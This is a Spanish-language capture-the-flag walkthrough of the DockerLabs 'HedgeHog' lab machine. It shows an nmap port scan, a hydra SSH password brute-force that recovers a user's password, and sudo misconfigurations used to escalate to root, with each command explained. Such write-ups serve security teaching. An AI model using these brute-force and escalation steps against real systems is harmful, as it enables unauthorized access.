HedgeHog

Datos de la máquina	
Nombre	HedgeHog
Sistema Operativo	Linux
Dificultad	Muy Fácil
Fecha de Creación	10/11/2024
Autor	AnkbNikas
Plataforma	DockerLabs

Fase 1. Despliegue y Reconocimiento Inicial

Despliegue de la máquina

```
sudo bash auto_deploy.sh hedgehog.tar
```

Verificación de conectividad

```
ping -c 1 172.17.0.2
```

Resultado:

```
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.068 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.068/0.068/0.068/0.000 ms
```

NOTA:

Rango TTL	Sistema Operativo
0-64	Linux/Unix
65-128	Windows

En este caso, `TTL` = 64 confirma que estamos ante un sistema Linux

Fase 2: Enumerción de Puertos

Escaneo rápido de puertos

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2
```

Desglose del comando:

`sudo nmap`: Ejecuta nmap con privilegios de superusuario
`-p`: Escanea todos los puertos (1-65535)
`--open`: Sólo muestra los puertos abiertos
`-sS`: SYN Scan (sigiloso, no completa el handshake TCP)
`--min-rate 5000`: Envía mínimo 5,000 paquetes por segundo
`-vvv`: Máximo nivel de verbosidad
`-n`: No realiza resoluciones DNS (más rápido)
`-Pn`: Asume host activo (no envía ping previo)
`172.17.0.2`: Dirección IP de la máquina

Resultado:

```
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 4E:E6:F3:DB:10:CF (Unknown)
```

Tenemos el puerto 22 (SSH) y 80 (HTTP) abiertos, por lo que procedemos a explorar fuera de la máquina-

Fase 3: Exploración Web

Nos sale la palabra ***tails***, si hacemos búsqueda de directorios no encontramos nada, por lo que suponemos que la palabra que nos apareció es un usuario para ***SSH***

Fase 4. Ataque de Fuerza Bruta (SSH)

Qué es un ataque de fuerza bruta?

Un ataque de fuerza bruta es una técnica que intenta probar sistemáticamente todas las combinaciones posibles de contraseñas hasta encontrar la correcta

Ejecución del ataque

```
hydra -l tails -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2 -t 4
```

Deglose del comando:

- **`hydra`:** Herramienta de fuerza bruta
- **`-l tails`:** Login/usuario conocido (tails)
- **`-P /usr/share/wordlists/rockyou.txt`:** Diccionario de contraseñas
- **`ssh://172.17.0.2`:** Protocolo e IP objetivo
- **`-t 4`:** Usar 4 hilos paralelos (más lento, pero menos detectable)

Resultado

```
[DATA] attacking ssh://172.18.0.2:22/
[22][ssh] host: 172.17.0.2   login: tails   password: 3117548331
1 of 1 target successfully completed, 1 valid password found
```

Credenciales encontradas, usuario ***tails*** y contraseña ***3117548331***

Fase 5: Acceso Inicial (SSH)

Conexión SSH

```
ssh tails@172.17.0.2
```

Al solicitar la contraseña, introducimos ***3117548331*** y tenemos acceso al sistema

Verificación de usuario actual

```
whoami
```

Vemos que no somos usuarios root por lo que toca escalar privilegios.

Fase 6. Escalada de privilegios

```
sudo -l
```

Resultado:

```
User tails may run the following commands on 0d40a19ffb96:

    (sonic) NOPASSWD: ALL
```

El sudo -l me sirve para listar los permisos sudo que tiene mi usuario actual, en este caso me dice que puedo ejecutar todos los comandos como el usuario sonic y sin contraseña, por lo que podemos hacer lo siguiente:

```
sudo -u sonic /bin/bash
```

Deglose del comando:

- **`sudo`:** Comando para usar permisos especiales
- **`-u sonic`:** Definimos un usuario y le pasamos "sonic"

- **`/bin/bash` :** Iniciar una nueva terminal (shell)

```
whoami
```

Resultado: Ahora somos usuario sonic, así que vamos a listar nuevamente

```
sudo -l
```

Resultado:

```
User sonic may run the following commands on 0d40a19ffb96:
    (ALL) NOPASSWD: ALL
```

Ahora podemos ver que para ser usuario root no es necesario ejecutar ningún binario, vemos que podemos ser root sin contraseña, por lo que simplemente escribimos

```
sudo su
```

```
whoami
```

Vemos que somos usuarios ***root*** finalmente

¡Máquina completada!